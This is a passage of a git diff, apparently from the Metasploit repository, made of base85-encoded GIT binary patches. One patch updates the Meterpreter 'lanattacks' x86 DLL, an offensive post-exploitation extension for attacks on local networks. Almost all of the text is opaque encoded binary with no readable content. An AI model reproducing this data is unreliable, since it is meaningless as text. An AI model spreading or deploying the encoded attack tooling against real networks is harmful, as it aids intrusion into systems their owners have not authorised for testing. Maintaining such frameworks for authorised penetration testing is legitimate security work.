zfz8Wt91n*g;8T~N#*o<#+!Dd;hHxXW`(-XQ95No@KKLmJ?+1EUpvw^U0iT7J38w|9 zuF$RP2HpuDlZ5pMybUkS(hgKtYD)!gf)|-;V2`VGEj_?5qZk(`;2?18)i4_2CSbuT z%mD}sK7TFF0SNB|TG!z;jc^_CJ$TW%_c|Q^L#i|x4!j(G$uYQ$0)7rJhgk}E|Mf5k z{kje~=SCcgkSPZqw;Hn>F1tnp{}V&ABVKOFEr(x^a0F=H3ZoFt0=D1gQXL2j&bR}o z_z{@@XCbiQE*OD?ML^%(x|S1w;d{`e=vTqFB#e1t5AfA{U1|;DTY>l9r_cAbz!&e= zhVBAJA3zu~f|cuZHwmtXmzEaX6C+6hiyy?v1{r+7GWZ0-0pN7_MubDaGvS*MZUTM} zzg^-VLX*R{BU}gk3%m@{y};8f9S#DYti!mGyui^9qx%q!N#F-~shN7jr5=H|tpirA zM;I#>!Nj8&R0s>c0x!pOEAX2*<`2ZDf%_kWp}1vN{5UF54;jP@?u3_-FZjepy$ae5 zJaZH0|3#b7?3=Zvf?;^cAo%(dPzptDz_krpM)0p&P-Db*0OvR2LsAHbfoXWDfMDs9 zT8|(2AiT6n9q{)IPuYq=vuvvtssz5w@GjtnZ8#Dzxaxt)XOS6U!IyWqR0!c+z_Xim z%T)lkz)Jy*zel+kV_&DOLfyKMfeKC;H2t4~c9G3_;3&KnD3cmA- z9^v>=0QL1Bae9VK8i?NluvfQ&^WT7>SWbn2bKlbP<-otg4?z3@;PMY)1i}$uV-j6; z91I1m^+4mV+K3Kd-QRRA1qXkk z!#?1aPf=sYHv;ea2j&BW*8&3va2g(k`CkGF_;w@+PWS=|2n+gB7z2=52p|FvC!S_eG&8yq2sp8|XvUY6(Wz$^ca{y%`is{aiE z_yiK#fRB8O!wli|zz%rnSHY#<>Hdxa7azjNhD-%eeUI43qAucC#vnh4@cnr2goFWt)(a&;Wpp{*r&Gw;dQ|IqqNQt@J@JX zMfpmMeDTF?nu0NP03-k+A9{DjO(mbmXn^pnMat3^$eq<u#R&q%Yl)c{)7W87%s)S`*w`{?du%PUsmaw4g+Lf@N?AVpC;Ij-1 zzQM4d>}GW@hL8kgSFB_Z>^n_|rvR70%i&iIj5E9!cuYVaPNl%b@FG(IykCdq;o?WG zvJfoCBrRu_Xf`f?*{*dvJHU^!407ekqyxeRU1-Iq@Pd?r49auvW7rI zsG-8TYn3@P*wE3CYDhPzE$%IzE#57@Eu~xhTS8kZwuHAtwnVp7ZK>YUw554V%a+zH zZCl#6B)6otq_?O>ccZ5<+!$$$HdZxOH`X-PT0g(i9A>7TOj|EsX&z%ea;-UPB<`T7 z3Yexgx;J_@mTvTKEZZ2^7~B}zSg|p@F|x5`W9!DYjqTR-tIT_?t=E~^R^HX-`q3(i z;|RH`8mb#=8WIgn4b2U8TjE<1opvCx)=)U3DyzpTbM%1P4edQYge0(cCUazRU2zI z)@@8|Y_=v}Wj-h-d8`kvGH=L3jwbyonDuSc95W5P1^oeNMlE#Hx*I$VzRm^?N)tDP z8zK$S23?WbhPsB@t#w=DTNBp9*P0dG+VIIOWqrHKyv%xjrFp9t+LF4E|E_^AR+_*J zs_GzwhmtVAEFO+W;?a0jJP~h;r{liIf{)ccmVC_rcrC_(7kwYuP>VK6Z}8Vg>)Yz3 z6U5l)rm9V)oBf-Un>#kwCE|(D6BSR0=`9Vd4gSUe`n0yOxiQ(;zBReEV{2+_daK&z z-sXvI^KSEPE8SMMEwC-PEwrs-TXStX>^4f zo#91yl%hk*&?P~1N(H(l0;8(xtLtm(YwPRk z8@(HS8)GtjG6zo-y;Y6=szr~*(PvF|?d$=yF}bm0V`^i1quS)&Pv=Hy{vJbpm^-ROb#cru=fcglB)%TYSb+!2^z K`t85hyZ%2;zFA}d diff --git a/data/meterpreter/ext_server_lanattacks.x86.dll b/data/meterpreter/ext_server_lanattacks.x86.dll index 8a221e5f6d0c86effee7cc8c5562bace4682e9a3..1b4be1f0507921c33302f1cc6182d50b95507355 100755 GIT binary patch literal 180736 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 